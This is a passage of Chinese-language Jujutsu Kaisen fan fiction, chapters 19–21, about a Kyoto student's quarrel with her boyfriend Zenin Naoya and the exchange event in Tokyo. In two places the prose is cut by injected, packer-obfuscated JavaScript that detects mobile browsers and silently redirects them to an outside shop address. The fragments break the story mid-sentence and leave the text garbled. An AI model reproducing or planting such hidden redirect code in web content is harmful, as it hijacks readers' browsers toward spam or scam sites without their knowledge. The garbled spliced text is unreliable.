直哉握着你的手坐在床边,冷静下来的他已经在心中推演了真相:这该死的一周,始作俑者就躺在床上! 你看他,他看你,你们谁都没有说话。 虽然父子关系普通,但是直哉的父亲禅院直毘人还是和你外公一起进了门,这俩一个关心直哉,一个关心你,你们都有自己的老头。 直哉冷淡接受了父亲的关怀后目送他离开,又别扭和你外公致歉。 有禅院庶子和他的母亲进门“关心慰问嫡子”,被他骂得狗血淋头赶了出去。 看着直哉怒气冲冲的身影,你的意识开始模糊,咒力消耗太大了,你需要休息。 …… 事到如今,完全掌握了环境结界构造术的你已经确定了自己就是犯人,但是你不太确定直哉到底知道了多少。 也许是知道了,但是他不提,你就当他不知道! 毕竟那时候你是控制不好咒力嘛……也不是故意的,而且也让他锻炼了一下独自生活且带娃的能力,大概是有好处的吧?未来直哉成为了父亲,也许还要感谢你给他提供的培训机会呢。 你知道“不知道”是直哉对你的保护,如果六岁的你就被发现拥有这样的构造能力,那么即使是你外公也没办法护住你,你会像一件咒具一样被高层牢牢掌握,就好像东京校的家入医生几乎没有离开过工作岗位。 你带着回忆看向身边已经是巨大一只(对你而言)的直哉,非常真挚地肯定了他:直哉其实还不错,毕竟他十二年前就知道要保护你了。 19.第 19 章 两周后就要开始京都、东京两所咒术高专的姐妹校交流会,你们作为参赛选手自然要加强训练,学校取消了一些普通课程,把时间加到了体术课和实战课上,同时还安排了一些晚训。 按规定一年级的新生不用参加,所以刚入学没多久的一年级新田新可以自由活动。因为他不是输出型的强攻手,所以他不参加对你们没有太大的影响。 因东京校的两位三年级学生和总监部摩擦且已经被停学,东京一年级的伏黑惠和钉崎野蔷薇补位参赛。 此外,东京二年级的特级咒术师乙骨忧太正在国外任务。去年他一个人干掉了你们所有人,也导致了今年主场轮到了胜者东京。你记得遭遇乙骨忧太和他的“里香”时,你当场放弃抵抗,直接投降。 对你如此这般没有出息,同学们也是见怪不怪,虽说不能对你一个辅助提什么要求,但你的岩浆结界其实算aoe(群体攻击),有着这样的能力还秒投确实有些丢人,不过只要你本人不在意就没事,同学说的话,在你耳里,风声罢了。 你可理直气壮了:乙骨忧太,那可是特级咒术师,我还是个学生呢,连一级都还没够上。再说了,只是一个学生之间的交流会罢了… 今年对面缺席特级咒术师乙骨和三年级的秤金次、星绮罗罗,又有两名参赛者是一年级,东京校简直是劣势满满。体术课上,你的同学之间弥漫着一种‘我们会赢’的积极自信。对此你冷静许多,不是你唱衰自己人,而是……东京一年级的伏黑惠是禅院家十种影法术的继承人啊!在历史上十影都杀死过六眼,这明明也是特级储备好吗?怎么大家都把他当透明人了? 虽然你们也有加茂家的赤血操术啦,这般想着,你看向加茂宪纪。 但是,十影的老师可是五条悟呢,肯定教了他很多秘传吧?你又看向歌姬老师,虽然你很喜欢她,但是也得客观承认师资力量确实天差地别。 你思考着战力,突然想到了一个很重要的问题:等一下!等一下!京都多两个人啊! 你开始掰着手指数起来。 东京校:狗卷棘、禅院真希、熊猫、钉崎野蔷薇、伏黑惠,一共五人。 京都校:加茂宪纪、东堂葵、西宫桃、机械丸、三轮霞、禅院真依,加你七人! 五比七,五个里面还有两个一年级呢……这不公平吧? 你倒不是真的想追求公平公正,你期待成为替补,这样根本不用出场了!于是你一脸暗示地看向歌姬老师。 “怎么了,浅川?”歌姬注意到了你的眼神,于是她很是温柔地看向了你。 “歌姬老师……那个,我们是不是多两个人啊?”你眨巴着眼抬头看她,几乎就要明示,“多两个人好像有点欺负人哦?东京可是有两个一年级呢……” “按照规定任何一方多一人都是允许的,两人……”庵歌姬似乎之前也没考虑到这个问题,她掰着手指算了半天,发现你们居然真的多了两个人! 这下轮到她为难了。 庵歌姬是一个非常负责的好老师,如果让你们七人中的任何一人替补,她都会觉得辜负了孩子们的青春! “没关系的浅川,你放心吧!老师会想办法。”她如此这般说着就拿起电话走开,边走边打,很急着解决问题的样子。 你本想告诉歌姬老师你可以主动替补,但是歌姬老师她身高腿长,走的实在是有些快,你根本来不及把话说出口,她人已经走出老远了。 …… 虽然理论上这件事需要询问东京的夜蛾校长,但是因为五条悟隐隐约约在主导这场交流会,所以她直接打给了他。 “五条,你听着!因为你们三年级的两名学生休学,导致这次交流会我们多了两人,你看着办。”她先把责任推给东京,然后一脸严阵以待,等待五条悟的反击。 “哦?没关系哦。差一个是可以开始比赛的吧?”五条悟的声音非常轻快,并不把歌姬重视的事情当作什么了不起的大事。 “七和五差距是二吧?你不至于数学那么差吧,五条。”歌姬有些不高兴,感觉对方压根没有认真听自己讲话,在敷衍了事。 “没关系啦,歌姬,你就带着队伍来就行了,其他的事情交给GTG吧。”五条悟继续轻松应对。 歌姬握着电话,额头青筋直冒:怎么感觉好像只有她很在意,对面的态度真让人不爽!可是他好像能解决问题…… “GTG是什么。”她不满。 “GREAT TEAHCER GOJO。”五条悟自信回答,“歌姬你太弱啦,连英文的拼写都忘记……” “嘟嘟嘟。”歌姬直接挂了电话。 虽然通话过程不太愉快,但是五条悟确实解决了问题,既然如此歌姬也不去深思,决定到时候把大家都先带去,实在得替补一人就抽签决定吧,公平公正! 歌姬老师完全没有意识到你想替补。 …… 你在原地等了一会儿,歌姬老师回来笑着告诉你事情解决了,大家一起去吧!你不想打击她的积极性,也只能扯起勉强的笑,说太好了。 你的同学大部分斗志昂扬:宪纪想要证明他有能力继承加茂家,三轮想要出色表现换取未来更多工作机会,东堂想要挑战强者,真依本来就劲劲的。除了这些很想赢的同学,你不太了解机械丸在想什么,西宫桃好像没有什么特别要追求的,但是你知道她很讲义气,会尽全力帮助好姐妹真依取得胜利。 在训练中你继续保守使用那三个同学们见过的结界:遇到躲藏的咒灵你展开训练室,遇到批量的咒灵展开岩浆,当敌人是单体且机动性极强的时候,你展开地震稍微延缓一下对方的行动,给你的队友们制造机会。 你的结界几乎瞬发,大小也还可以,所以在大家眼里你还算比较强。只是你的性格有些懒散消极,考虑到你正在和禅院直哉‘热恋中’,大家又表示了然:这算是早恋耽误学习的典型,虽然你的年龄在日本都可以结婚了。 在临去东京前的那一晚,你完成了晚上的加练,收拾了一下小书包,快速和同学们告别,然后第一个飞奔出了训练场。见到校门口那辆熟悉的直哉的专车,你欢快地小跑过去。 晚上你和直哉要去看电影,新出的《疯狂兔子城》,一部全年龄向的动画片,并没有特别有趣,重点是你们一起看,算是约会。 电影院昏暗封闭,其实是很容易滋生咒灵的地方,也非常方便诅咒师安排埋伏。直哉倾向于包场更安全,你拒绝,你想要的是看电影的氛围感,如果只有你俩,那在直哉院子里的影音室里看也是一样的,没必要特意出来。 禅院封建落后,屋子矮小昏暗,电器稀少,只有直哉这个被惯着的嫡子居住的院落里才有齐备的电子设施,为了你留宿时不那么无聊,从游戏机到家庭影院,他都配置了最新的。 你开开心心上车,直接扑到直哉身上亲了他几口,刚下课的心情就是那么好的。 他接住你,嘴上警告你别把他的衬衫弄皱,手却紧紧箍着你的腰,固定着你以防你摔倒。 “直哉,好想你呀,你想我吗?”你凑在他的耳边轻轻吹气,“训练好无聊……” “你这是什么白痴问题。不想你,我干嘛过来?你当我真想看那个兔子城吗?”他在你的脸颊上啄了几口,顺便嫌弃道,“京都校的水平本来就很差,还一天到晚拖着你无效加练,我就说你应该去禅院私塾……” “直哉,你不想看兔子城吗?我以为你也想看。”你当然知道他不想看,嘴上却要说反话,“你不爱看,我们就回去吧,那我也不看了。” 香喷喷的漂亮女朋友在怀,直哉本来就被你哄得有些晕乎,这时候他的原则和傲气无限减少,趋近于无:“是我想看,行了吧?” “那我陪你去。”你又捧着他的脸吧唧吧唧亲了几口,得寸进尺,“直哉,我是不是对你很好呀?” “哼。”直哉觉得你很幼稚,总是要逞这些口舌之快,但是他转念一想,这样撒娇总比凶巴巴要好,你虽然爱使性子,但是总算是知道怎么做一个讨男人(他)喜欢的女人,不算太差! 于是他亲你的头发,含糊嗯了一声。 来到电影院,虽然直哉嘴上抱怨“庶民的杂乱”,但其实你俩已经来过无数次,他很是熟练地去取票买爆米花。至于车上的管家?直哉都没让他下商务车。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17056394|194870||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 毕竟这是约会,直哉觉得他也不是不能‘服务’你,对他来说你是最特殊的存在,给你干活是“夫妻”间的情趣,做这些小事并不影响他依然是尊贵的禅院大少爷。 你俩都有着非常漂亮的皮囊,特别是白肤浅瞳浅发的你闪亮得像个白精灵一般,路人纷纷对你投来好奇或艳羡的目光,直哉不喜他们随便打量你,于是拉着你迅速进入了放映厅。 你们到的早,厅内稀稀拉拉只有几个人。 你拿了一颗爆米花尝了尝,不够甜,还有一点焦,于是你很贤惠地开始喂直哉。 直哉说他不吃这种幼稚的东西,然后用嘴接了吃下,这也是你俩的定番:一个说不吃,一个继续喂,反正你不想吃的最后都是直哉吃了。这样的游戏你们百玩不腻,乐此不疲。 “对了,你听说了吗?最近东京出现了新的特级咒灵。”直哉咽下你给他塞的爆米花,也许是因为你要前往东京,又也许是单纯的触景生情,“也是在电影院,三个高中生被变成怪物后死亡,这个情报的保密级别很高,你应该还不知道吧?” “五条老师没有把它祓除吗?怪物?好可怕哦。”你说着可怕,表情却没有什么变化,看来不是真心害怕。 “悟君也很忙吧,你明天去东京要…喂,你干嘛老提他……”直哉觉得不提醒你注意安全也没问题,反正他已经决定了也去。另外,因为你主动提起五条悟,他感觉到了不爽。 “不提不提。”你敷衍道。 直哉看你敷衍的样子,心中不知为何突然闪现一个念头,他踟蹰了几秒还是故作轻松地问了:“阿离,如果我变成了怪物,你是不是肯定立刻、马上跟我分手,跑得远远的,或者是去找五条悟来祓除我?” 这个问题带着试探和恐惧,但是也带着强烈的请求,他想听你否定,想听你说点有温度和女友自觉的话,即使是哄骗也行。 你闻言愣了一下,然后就意识到你的直哉想找茬。 你可以安抚他,但是你不想那样做。 “干嘛又来道德绑架我,如果是你呢?”你冷哼一声,“禅院直哉!在你眼里我就是坏人!所以你才一天到晚问这种问题!你扪心自问,如果我不漂亮,你会搭理我吗?” “哈?我什么时候说你是坏人?你直接回答会死吗,一定要吵架吗?”直哉没想到你反应如此之大,他只是想听你哄哄他,只要一句‘不会’就行,或者是‘不知道’也还行。他想要的是你说点漂亮话,而不是在电影院吵架! “你那样问我,不就是先预设了我很坏吗?”你想用爆米花砸他,又觉得这样对保洁很不友好,于是你抓起书包就站了起来,“不看了,没心情了!” 你风风火火走出放映厅,直哉本来就没兴趣看兔子城,他立刻跟着你跑了出来。 “别跟着我!我反正就是坏啦!”你真的很想拿点什么砸他,于是你提前取出了钱包(明天出门要用),然后把空空的书包砸到了直哉的脸上。 “浅川离!你发什么疯?!”直哉接住你的书包,愣愣抱着它,一脸懵,他开始疯狂回忆事情到底是怎么变成这样的,他在脑海里迅速推算了一下日子,然后好像找到了答案,“你……你……你黄体期吗?!” “要你管!有病吗!现在是说这个的时候吗?”虽然确实快来月经,但是这并不代表你的情绪紊乱,你生气是有理有据的。 先不说这个问题的结论,首先直哉笃定你薄情寡义这件事本身就让你气恼,现在他又在怀疑你是生理性情绪不稳定,你更生气了!吵架的时候他不追求客观,而是先说你情绪化?过分! “不许跟着我!不许动!原地待着!”你摆出自己最凶狠的表情,指着他下达命令。然后头也不回地吧嗒吧嗒跑出了电影院。 路人纷纷注目、窃窃私语,直哉抱着你的包,想追又不敢。 因为…你好像是真的生气了……他……居然不敢违抗发怒的你,身体诚实地执行了“原地待着”这个命令。 这样的发展让直哉如遭雷劈,他禅院直哉,为什么要听一个女人的话,站在原地不敢动啊?!!虽然那个女人是对他来说特殊的你,但是这该死的也太离谱了! 20.第 20 章 即使是刚被甩脸子,又被勒令不准跟着,直哉还是偷偷跟着你,直到确定你安全进入京都校的结界后他才一脸不高兴地离开。 即使是如此狗狗祟祟,直哉也并没有觉得自己狼狈,他告诉自己:只是在确定自己珍贵资产的安全罢了,你是他的所有物,他需要你的术式也需要你这个人,你们的关系才不是爱情那种脆弱不牢靠的假想概念,他才不是那种被情爱所困的软脚虾! 虽然嘴巴很硬,但是他的心情真的很低落,孤身一人的直哉带着后悔的心情(早知道不提该死的咒灵了),怅然若失地回了禅院,在路上他试探性地给你发了几条信息,全部石沉大海。 因为你是真的真的很生气。 对于今天的冲突你有清晰的逻辑:如果你的直哉是一个白骑士一样的善良好人,他无条件深深爱着你,那么这个美好的直哉对你提出质疑,你会觉得合理,他能站在道德制高点是因为他真的有道德。 但是明明禅院直哉他也现实得要命,到底为什么可以这样理直气壮地质问你啊?脸皮真厚! 是,你确实看脸看实力,但是这个世界上又有几个人是‘无条件爱别人’呢?连东京校的那个自称纯爱的乙骨忧太,他那个变成咒灵的小青梅活着的时候也是个小美女啊!(你在外公办公室偷看过绝密资料上的照片)。 如果真依不是高个子的漂亮女人,而是小个子的笨拙类型,东堂根本不会和她玩!如果东堂只能祓除三级咒灵,真依也根本不会看他一眼吧?不不,她会看,会用看垃圾的眼神去看,而不是现在这样敢怒不敢言的纵容。 每个人都是现实的!你并不以此为耻。为什么直哉要求你无欲无求?变成怪物什么的……你怎么可能还会和它继续交往啊?作为咒术师,如果你足够强,你甚至会亲手祓除它,这也是帮助他脱离苦海。 还有……吵架就吵架,他为什么要扯上你的生理期?好像女孩子生气都是生理性的无理取闹一样!难道在直哉的眼里,理智这种东西是男人才配备的吗?就他有道理!就他理智!就他……算了! 直哉真讨厌! 你很不高兴地回到寝室,看了一眼满是未接来电和未读信息的手机,然后烦躁地把它关了。 “烦死了!”你越想越气,把手机丢到床上,眼不见心不烦。 洗漱后你换上了柔软的毛巾料睡衣(虽然是直哉买的),心情也稍微平静了一点。你掏出没有安装电话卡的备用机开始玩飞机大厨,玩着玩着你困了,干脆把备用手机一丢,呼呼大睡。 …… 次日,你被三轮霞拍门叫醒,你很奇怪手机闹铃为什么没有响,然后想起来昨天晚上你的主手机被你关掉了,真是的!又是直哉的错…(大概)。 虽然你的外公对你宽容至极,但是今天你们要坐新干线,新干线可不会等迟到的你,所以你几乎是连滚带爬起床,匆匆忙忙洗漱,套上校服火速冲出房间。 “浅川学姐,你看起来没有睡好?”你们两人快步走在学校的小道上,三轮有些担忧地看向你,“是最近的训练太密集了吧?” 你小脸一红,交流会前夜还和男朋友吵架导致精神不好,这有一些不专业,于是你支支吾吾:“嗯……其实还好,我没事。” “浅川学姐,我知道……其实赢不赢,对学姐你来说没有太大的区别。”三轮的脸上也浮现出一些红晕,她微微低头,声音很轻,“因为我和真依,还有加茂学长都特别想赢,所以连带着浅川学姐你也辛苦了。” “……我,没有,我也想赢。”你低下头违心回答,三轮没有说错,你确实是输赢无所谓,但是现在被点破,你好像变成了一个大好人,这让刚被直哉质疑过良心的你有些不习惯。 三轮觉得你是善良的好人,直哉觉得你是薄情坏蛋,这样对比,高下立判,直哉差!三轮好! 你们很快就看到了不远处的鸟居,等会要坐学校的巴士去新干线站,歌姬老师和你外公带队,同时还有三个辅助监督一道去。 见时间来得及,你和三轮放慢了脚步,有一搭没一搭闲聊着走近鸟居,突然你的神色一凛:站在鸟居下和宪纪尬聊的……是直哉。 直哉看起来好像并没有被昨天影响太多,他依然穿戴整齐,羽织鲜亮,金发璀璨,神清气爽,身形挺拔,态度倨傲,可是当你俩视线相对,你明显看到了他的心虚,因为他刻意显得很傲慢,这不是自然状态下的直哉。 “呵,怎么那么迟。”他用指责来打开话题,说着就大步流星地走到了你的面前,先发出嘲讽你的声音,再垂眸盯着你的脸,语气霸道地对你宣布,“我在东京也有事,今天我也去。” 你环顾四周,发现禅院的黑色轿车不在,那么直哉肯定是要搭乘你们的巴士去新干线站,说不定……不,肯定,他肯定要坐在你的身边,还会对你动手动脚地骚扰,那画面想想你就开始不高兴了! 今天的直哉刻意打扮了一下自己,喷了你送他的香水,戴了你送他的卡地亚耳钉,脸也嫩嫩的,好像刚刮干净。你发现他简直是从头到脚都在讨好你!被讨好的快感还没有升起,你就想到了只是学妹的三轮觉得你是好人,青梅竹马直哉却质疑你,此外你昨天因为他的找茬而没有看到想看的电影……综上所述,你一锤定音:不和好! “哼…禅院直哉,你听着,跟着浅川离去东京的人,是小狗。” 你的语气冰冷,慢条斯理,恶意满满,声音不大不小,正好所有人都能听到。 你注意到外公看了你们一眼又别过了头,真依抱臂嗤笑,宪纪微微吃惊但是很快收敛了表情,三轮捂住嘴,而直哉几乎要瞳孔地震。 “什么?你……浅川离!!”他失声大叫起来。 他不敢相信,世界上居然有那么绝情的女人!他早上五点就起来沐浴更衣,不但刮了胡子还用了你夸奖过的沐浴露,喷了你喜欢的香水,耳钉衣服都选的是被你觉得好看的,一小时前他就提前到达这里,等了你那么久,还被迫和加茂宪纪那个庶子闲聊……你这样说,他,他怎么可能再跟着啊? 如果只有三轮霞这样无关紧要的人在就算了,但是……禅院真依和加茂宪纪都听到了!乐岩寺那个老头子也在幸灾乐祸! 直哉那张漂亮精致的俊脸一阵青一阵白,然后他挤出极寒的冷笑:“很好,浅川离,你这个……” 他最后还是没能把骂你的话完整说出口,只恶狠狠地瞪了你一眼,转身就走,衣袂翻飞,背影决绝。 你扭头不去看他的背影,隐隐约约也有些觉得自己话说重了,但是你是不会后悔的。 想说什么就说,这也是一种善待自己的方式,你不需要也不会道歉,本来就是他不好。 歌姬老师见人都齐了,瓜也吃完了,于是拍手让大家集合上车。 你上车,照旧坐在宪纪身边,虽然你私心想和三轮坐在一起聊天,但是三轮已经被西宫先叫走了,你只能次选。 你端正坐下,浑身散发着‘摸挨我’的冷冽气息。 “……浅川。”宪纪看向你,他压低了声音,“你和禅院先生吵架了吗?” 你腹诽宪纪什么眼神,这不是显而易见的吗,于是你坚定回答:“吵了!而且分手了!” 你并没有刻意去压低声音,等你话音落下,车里就只剩下东堂对着机械丸问话的洪亮声音,其他人都安静了。 宪纪:……终于。 真依嘴角微翘,幸灾乐祸:哈,早该分了,禅院直哉也有今天。 三轮惊讶瞪大眼睛。 西宫立刻看向真依,和她交换八卦的眼神。 歌姬老师掐着自己的大腿,尽量不笑出声,虽然她和禅院直哉没有太多交集,但是她是吃你和宪纪CP的,即使这个CP的存在连你们本人都还不知情。 东堂葵见大家都安静下来,奇道:“你们怎么都不说话了?” 机械丸观察着车内,分析着:车内洋溢着一种‘太好了’的氛围,浅川和禅院分手?真的假的? 只有你外公波澜不惊,他实在是太了解你了,分手不过是说说,晚上那个禅院家的小鬼可能就到东京了,如果你们可以那么容易分掉,他早把你们拆散了。 …… 直哉大步流星地回到禅院家,侍女和仆从都下意识地避开他,他浑身写满了怒意,好像一枚引线快烧完的炸弹。 “快备车。”他越想越气,随手拉了一个路过的躯俱留队成员,语气不善地命令,“快点,磨磨 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17063916|194870||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 唧唧就杀了你。” 虽然知道他不会真的因此杀人,但是躯俱留队的倒霉鬼还是火急火燎地去通知司机班。 不多时,黑色的轿车驶出禅院,直哉在后排正襟危坐,挺直的脊梁出卖了他紧绷的心情,他扭头看了一眼你上次留在车里的发绳,冷冽的表情松动了些许,然后哼笑出声。 “我是去东京办事的,不是跟着谁去的。”他似自言自语,又好像在说给谁听。 前座的司机以为少爷在和自己说话,他不敢怠慢,立刻回应:“是,是的,少爷。” 直哉烦心这个司机多管闲事,但是他知道现在不是骂司机的时候,哼了一声后就开始闭目养神。 闭上眼睛也都是该死的浅川离。 不,该活的……浅川离。 直哉是一个没有心理负担的男人,即使和你争吵,他也能迅速找到自己的安全区。 你的任性妄为和心硬嘴坏很快被直哉解读成了‘他宠出来的坏脾气和拙劣的撒娇’,既然这场争吵的始作俑者是他自己,那么他也没有什么可生气的了。 他说服自己,你不过是还在气头上,等你消气了,你们立刻会重修于好,甚至小别胜新婚,你会比吵架之前更热情,更爱他。 自我安慰结束,直哉又恢复了平日里闲适的坐姿,他把玩着你留下的发绳,就好像缠绵后卷着你的头发爱抚一样。 他让管家在东京校附近定了酒店,又嫌弃酒店距离东京校太远。 管家解释说,两所咒术高专的位置都非常偏远,这已经是最近的选择了。 ‘随便吧,实在不行就把坏猫抓到我的酒店里。’他在心中自信发言,浑然没意识到你这次是真的很生气,或者说,他实在是对你们的关系很有信心,即使在争吵,他也觉得你依然爱着他,不可能一而再,再而三地推开他。 他当然不会跪下来求你,也不会在京都校的那群人面前承认他是你的小狗,但是他有的是办法在保全面子的情况下让你心软,拿捏你,对他来说和呼吸一样简单。 如果直哉的心声被他的爸爸、禅院家主直毘人听到,他可能会怒吼:“什么办法?不还是变着花样去求女人吗?!你这个没出息的东西!!” 直哉浑然没觉得自己会丢人,毕竟在他心里,你是他的所有物,就如同他身体的一部分一样,对自己的身体妥协也是自爱的一种方式,除了当众下跪,其他方式都是可以商量和考虑的。 你只是年龄太小了,被他宠坏了,不是不爱他了,他笃定。 …… 新干线到站,东京校安排了巴士来接。 只是出站那点时间和路程,你们这一行人,包括了和服老头、大正时期打扮的老师、机器人、阴阳师、巫女、白精灵、巨人、蓝头发,以及几个黑衣人,回头率几乎高达1000%。这大概也是你们在新干线上需要包一节车厢的原因之一。 一个咒术师就很可能是奇怪的人,你们这里有一群,浩浩荡荡正在出站。 看着周围人那几乎实质化的好奇眼神,你看着老师同学,你不自觉想到了直哉,他也是那么引人注目,却让人不会往‘怪异’方面去想,因为他……真的挺好看的,在路上打量他的人基本上都是出于看帅哥的心理,这点让你有点小骄傲。 想到此处,你轻轻拍了一下自己的脑袋,将对直哉的好评甩出脑海。 他不过是脸漂亮罢了,你对自己说。 反正也闹起来了,你觉得不如趁着这次机会真的分手算了!你的思绪开始由此发散,如果你提出分手,直哉会很生气吧?他会哭吗?如果真的哭起来是什么样呢?一定非常好看吧……好想看到直哉哭泣啊。 你抱着对漂亮直哉哭泣的幻想,跟着同学们上了东京校的巴士,巴士沿着蜿蜒的山路驶向东京郊区,你看着窗外郁郁葱葱的树,没来由地预感今晚就能见到直哉,如果可以的话你要试着提一下分手,真的很期待看到他流泪的脆弱表情,一定比平时更漂亮… 直哉确实是在去东京的路上,而且他也在盘算着见你,说起来你们也算是心有灵犀,即使吵架中也会一直幻想对方妥协,并做一些非常主观的预测。由此可见,世界上没有比你们俩更般配又扭曲的纯爱了! 21.第 21 章 到达东京校的鸟居,你们拾阶而上,很快就见到了不远处影影绰绰有一群人。 你的视力不错,第一眼就看到了‘禅院在逃’伏黑惠,他身边站着钉崎野蔷薇,上一次来东京校的时候你们已经见过,那次你记得他俩还被东堂和真依‘教训’了。 他们身后半步是非常显眼的熊猫,以及狗卷棘和禅院真希,二年级的站在一起。 你注意到身边的真依撇了撇嘴,在见到双胞胎姐姐真希的那一刻。 对于这对姐妹的事情你偶尔听直哉提起过,说先是真希离开躯俱留队后跑去东京读高专,真依才去的京都校。 ‘双胞胎姐妹都在东京念书不好吗?’你没来由地这样想,倒也不是你希望真依离你远一点(虽然有一点点这个原因),你只是按照自然逻辑去想:明明是关系最亲近的人,为什么要分开呢?像你和直哉就……STOP! 你有些神游,听真依带着惯有的嘲弄语气开口:“哟?列队迎接?真恶心。” “哦?乙骨怎么不在?”东堂葵完全忘记你们战前准备时大家多次提起的‘乙骨忧太在国外’,好像刚发现他不在一般,说明平时他也没用心听歌姬老师说话,只沉浸在自己的世界里。 “少废话,快把伴手礼和点心交出来,生八桥、葛根饼、荞麦面。”钉崎野蔷薇面色不虞,身边还有一个大大的行李箱,你觉得她可能是……是以为要去京都?行李都整整齐齐收拾好了。 “鲑鱼。”一旁的狗卷棘对野蔷薇的话表示支持。 “哈?你们肚子饿了么?”东堂葵奇道。 “可怕……”西宫桃环顾众人,小声嘀咕,握紧扫把。 “乙骨不在也就算了,还有两个一年级的,对他们也太不利了吧?”在野蔷薇‘机器人’的惊呼声中,机械丸评价道。 “咒术师的强弱与年龄无关,尤其是伏黑同学,他可是禅院家的血脉。”宪纪就这么把心里的大实话说了出来,就差指着真依的鼻子说了,“比宗家还要出色很多。” 你有些佩服地看向他:……其实宪纪也蛮直爽的,真依在边上还这样进行对比,如果直哉也在这里估计就炸了,毕竟没有继承到十影一直是他的一块心病,也是他至今没有当上家主的原因。 对于伏黑惠的十种影法术,其实你已经想到了最佳的对战策略,但是你并不打算在交流会使用,毕竟这不过是学生之间的比拼,赢了也就只是赢了,底牌什么的还是要在必要的时候使用。如果在交流会上你就强克了十影,一定会有人忌惮你或是想掐死你的,连你的直哉都会心情复杂,这毕竟是禅院的秘传,他其实挺在乎的。 短短几秒你就想到了好几次直哉,你感觉有些不对劲。 真依对宪纪的话果然不爽:“嘁。” 三轮霞赶紧打圆场:“好啦好啦……” “好啦好啦,别内讧了。”就在你们越聊火药味越浓的时候,歌姬老师从后方的台阶上慢慢走来,她一边打量周遭一边自语着,“这些孩子真是的。那个笨蛋呢?” “悟迟到了。”熊猫回答。 “悟怎么可能会准时。”禅院真希收回了停留在真依身上的视线,将注意力转了回来。 “……没有人说笨蛋就是五条老师吧。”伏黑惠吐槽。 ‘五条老师和学生们的关系真好啊。’看着眼前几人的对话,你暗自思索,熊猫和真希都对他直呼其名,而且可以随随便便说他是笨蛋,歌姬老师够随和了,你们也都只敢叫老师。这样看来,五条悟虽然是最强但是似乎也很护短,对学生宽容度极高,这大概就是强者的余裕吧,跟着他倒是不亏,就是危险度高了一点。 “久等啦!”随着一声超爽朗男声响起,被念叨的五条悟推着一个箱子冲进人群,狗卷、野蔷薇和熊猫都差点被他撞到。 “五条悟!”歌姬老师明显很不喜欢他,当下就露出了不太高兴的神色。 “五条悟!”三轮则是看到了偶像的高兴,眼神都亮晶晶。 “哎呀呀,各位都到齐了?哦哦,小离也来了?我去国外出了趟差。”五条悟‘嘎啦嘎啦嘎啦’推着小车走到正中间,在路过你的时候还伸手撸了一把你的银白色头发。 你没来得及躲开,一脸懵逼:他在干什么?我是路边的流浪猫吗? “突然就自顾自说起来了,还对京都的同学动手动脚。”熊猫摇头叹气。 五条悟浑然不觉自己行为有哪里不对,他从兜里掏出造型古怪的护身符,开始给你们分发:“来,伴手礼!给京都各位的是某个部落的护身符,没有歌姬的份哦。” “我才不要!”歌姬老师暴怒。 他按顺序发到了你,同时还不忘调侃一句:“给~小离的!对了,直哉也没份!咦,那小子没跟来,分手了吗?” 你接过护身符,并且能感觉到宪纪和三轮都在注意你,于是你用公事公办的语气回答:“谢谢五条老师,禅院直哉他不是京都校的人,当然是不会来的。” “哦哈哈,然后!给东京的各位的则是!”五条悟没有纠结直哉的问题,而是突然转身,面对熊猫他们。 你也看向他,好奇他会拿什么出来,突然,五条悟推来的箱子盖子被顶起,一个粉头发的少年开心跳出,口呼搞笑艺人的口头禅:“OPPAPP!” 伏黑和钉崎表情一下子崩坏,几乎石化在原地,歌姬老师在震惊的同时回想起五条悟对人数的笃定,心说原来如此,五条悟早就知道宿傩容器复活了,所以人数是合规的。 不远处刚走上山的乐岩寺校长,见到活着的‘容器’后也石化了。 “……怎么回事?”你外公好不容易才对着五条悟挤出一句话,“宿傩的容器,还活着?” “啊哈哈,乐岩寺校长,有被吓到吗?老人家要小心保护心脏哦。”五条悟依然是笑嘻嘻的,语气轻快还很得意,颇有一种‘将军’的快意。 “呵。”你外公冷哼一声,并不再言语。 ‘这就是虎杖悠仁啊,那个宿傩容器。’你站在一边观察,你的同学们则大部分还在研究五条悟给的丑符咒,并没有分给‘复活’多少眼神。 想到之前五条悟说过你和虎杖悠仁的未来,现在他不但没死而且看起来非常鲜活,那么只要未来你的外公不再掺和,你和他应该都是有美好未来的吧? 想到此处,你茅塞顿开:宿傩容器活着是一件大好事!毕竟之前五条悟有没有信你外公的清白还未可知,现在既然人根本没死,那么你外公和五条悟之间矛盾应该也是清零了吧? 基于这套极其务实、甚至挺自私的逻辑,你真心为宿傩容器复活而感到开心。 于是你行动了。 “啊……”虎杖本来正因为隐瞒活着的这件事被野蔷薇踢打,突然就看到一个银色长发、琥珀色眼睛、脸庞雪白如精灵的美少女走到了自己的面前,他毕竟还是一个十五岁的少年,瞬间被这超规格的美貌暴击,他直直看着你,一时都忘记了言语。 “虎杖同学,恭喜你回来,真是太好了。”你伸手,在虎杖还没反应过来之前握住了他的,然后轻轻晃了晃。你的语气真诚,毫无虚伪,让人听了如沐春风。 眼前美少女轻柔的语调、手上传来的柔软的触感、被风带到耳边的温暖的话语,这一切都实在是太有冲击力,虎杖几乎说不出话来,他一瞬不错地盯着你看,仿佛要找到你是真实存在的证据。 “浅川?”加茂也注意到了你的动作,他有些意外,你平日的感情温度很低,也不像是会恭喜‘陌生人’复活的那类热心人。 你外公比在场的任何人都更了解你,他知道你这个自私小猫肯定是想到了什么利己的理由,保守派的身份让他天然不愿意看到容器存活,但是宠爱你是他的习惯,他当然不会指责你,于是他只轻哼一声,别过头去,眼不见为净。 